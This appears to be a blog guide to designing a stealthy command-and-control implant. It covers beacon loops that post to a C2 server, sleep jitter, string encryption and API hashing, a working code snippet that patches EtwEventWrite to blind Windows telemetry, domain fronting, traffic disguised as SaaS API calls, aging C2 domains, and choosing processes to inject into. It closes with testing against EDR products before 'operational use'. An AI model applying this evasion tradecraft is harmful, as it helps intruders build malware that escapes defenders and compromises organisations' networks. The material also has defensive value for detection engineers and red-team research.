Designing a Modern C2 Implant: Architecture and OPSEC

A comprehensive guide to C2 implant architecture - covering communication protocols, execution models, sleep patterns, anti-forensics, and operational security considerations.

Core Architecture Decisions

Every implant design starts with three questions: How does it talk? How does it execute? How does it hide?

Communication Model

HTTP/S Polling - The most common. Implant periodically calls home (beacon) over HTTPS. Pros: blends with web traffic, CDN-compatible. Cons: periodic pattern detectable.

DNS - Queries to attacker-controlled nameserver. Pros: passes most firewalls. Cons: low bandwidth (TXT records ~ 255 bytes), higher latency.

Named Pipes - For lateral movement between compromised hosts. One host beacons externally, others chain through internal pipes. Pros: no network egress per host. Cons: requires SMB access.

WebSockets - Persistent bidirectional connection. Pros: real-time interaction, lower latency. Cons: long-lived connections are anomalous.

External beacon (HTTPS) ← Edge host
    ↕ Named Pipe
Internal host A ← No external network access
    ↕ Named Pipe
Internal host B
    ↕ SMB
Domain Controller

The Beacon Loop

The fundamental implant loop:

loop {
    // 1. Sleep with jitter
    let jitter = base_sleep * (1.0 + random(-0.2, 0.2));
    sleep_obfuscated(jitter);
    
    // 2. Check in - POST to C2
    let tasks = http_post("/api/beacon", &session_metadata);
    
    // 3. Execute tasks
    for task in tasks {
        let result = execute_task(task);
        results.push(result);
    }
    
    // 4. Return results
    if !results.is_empty() {
        http_post("/api/results", &encrypt(results));
    }
}

Jitter Implementation

Without jitter, beacons create a detectable periodic pattern. With 20% jitter on a 30-second base:

No jitter:  30s, 30s, 30s, 30s → trivially detected
20% jitter: 26s, 33s, 28s, 35s → harder to fingerprint

Network monitoring tools look for periodicity in connection timing. Always implement jitter.

Task Execution Models

In-Process Execution (Preferred)

Execute everything in the implant’s own process. No child processes, no cmd.exe, no powershell.exe. This means:

  • BOFs for extending functionality without new processes
  • Inline .NET assembly via CLR hosting for C# tools
  • Reflective DLL loading for complex tooling
  • Direct syscalls for all sensitive API calls

Fork & Run (Legacy)

Spawn a sacrificial process, inject shellcode, wait for output, kill the process. Used by older Cobalt Strike payloads. Generates telemetry:

  • Process creation events (Event 4688, Sysmon 1)
  • Cross-process injection detection
  • Suspicious parent-child relationships (beacon → notepad)

Inline Execution Challenges

Memory must be carefully managed. Loaded assemblies and DLLs persist in memory. Implement cleanup routines that zero out and free memory after execution. Watch for CLR artifacts - once the .NET runtime is loaded, it can’t be unloaded.

Anti-Forensics

String Encryption

Never store strings in plaintext. At minimum, XOR at compile time with a per-build key:

// Compile-time string encryption
#define ENC_STR(s, key) encrypted_string(s, sizeof(s)-1, key)

// Runtime decryption only when needed, zero after use
char* dec = decrypt(enc_kernel32, key);
HMODULE k32 = GetModuleHandleA(dec);
memset(dec, 0, strlen(dec));
free(dec);

API Hashing

Don’t store API function names. Hash them and resolve at runtime:

// djb2 hash of "NtAllocateVirtualMemory"
#define H_NtAllocateVirtualMemory 0x1a22c987

FARPROC resolve(DWORD hash) {
    // Walk PEB → LDR → module list → export table
    // Hash each export name, compare with target
}

ETW and AMSI Patching

Patch before any execution:

// Patch EtwEventWrite → ret
void* etw = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD old; VirtualProtect(etw, 1, PAGE_READWRITE, &old);
*(BYTE*)etw = 0xC3;  // ret
VirtualProtect(etw, 1, old, &old);

Memory Indicators

Cobalt Strike beacons are detected by memory patterns. Your custom implant should:

  • Use unique XOR keys per build (not static)
  • Randomize PE headers or erase them after loading
  • Avoid common magic bytes in configuration blocks
  • Fragment data structures across non-contiguous allocations

Network OPSEC

Domain Fronting

Route C2 traffic through CDN so the network connection appears to go to a legitimate site:

Implant → TLS to cdn.cloudflare.com (SNI)
       → Host: your-c2.workers.dev (HTTP header)
       → CDN routes to your C2 based on Host

Malleable Traffic Profiles

Customize HTTP requests to mimic legitimate services:

GET /api/v2/users/profile HTTP/1.1
Host: api.legitimate-saas.com
Authorization: Bearer eyJhbG...
Content-Type: application/json
X-Request-ID: <encrypted_beacon_data>

Certificate Management

  • Register C2 domains months in advance
  • Get them categorized as “Technology” or “Business”
  • Use Let’s Encrypt for valid certificates
  • Rotate domains on a schedule

Process Injection OPSEC

If you must inject into another process, choose targets carefully:

Target Process Risk Level Why
explorer.exe Medium Always running, network access normal
svchost.exe Low-Medium Many instances, network expected
RuntimeBroker.exe Low Common, short-lived, not heavily monitored
notepad.exe HIGH No network activity expected - immediate flag
cmd.exe / powershell.exe CRITICAL Always monitored

Testing Your Implant

Before operational use, test against:

  1. Windows Defender - Baseline AV, catches obvious patterns
  2. CrowdStrike Falcon - Industry-leading EDR, aggressive hooking
  3. Elastic Security - Open rules you can study
  4. YARA rules - Run public CS/Sliver/Mythic rule sets against your binary

The best implant is one that blends in so well it looks like legitimate software. Every decision - from communication timing to process selection to string handling - should answer the question: “Would this look normal to a defender?”

← Home More C2 development →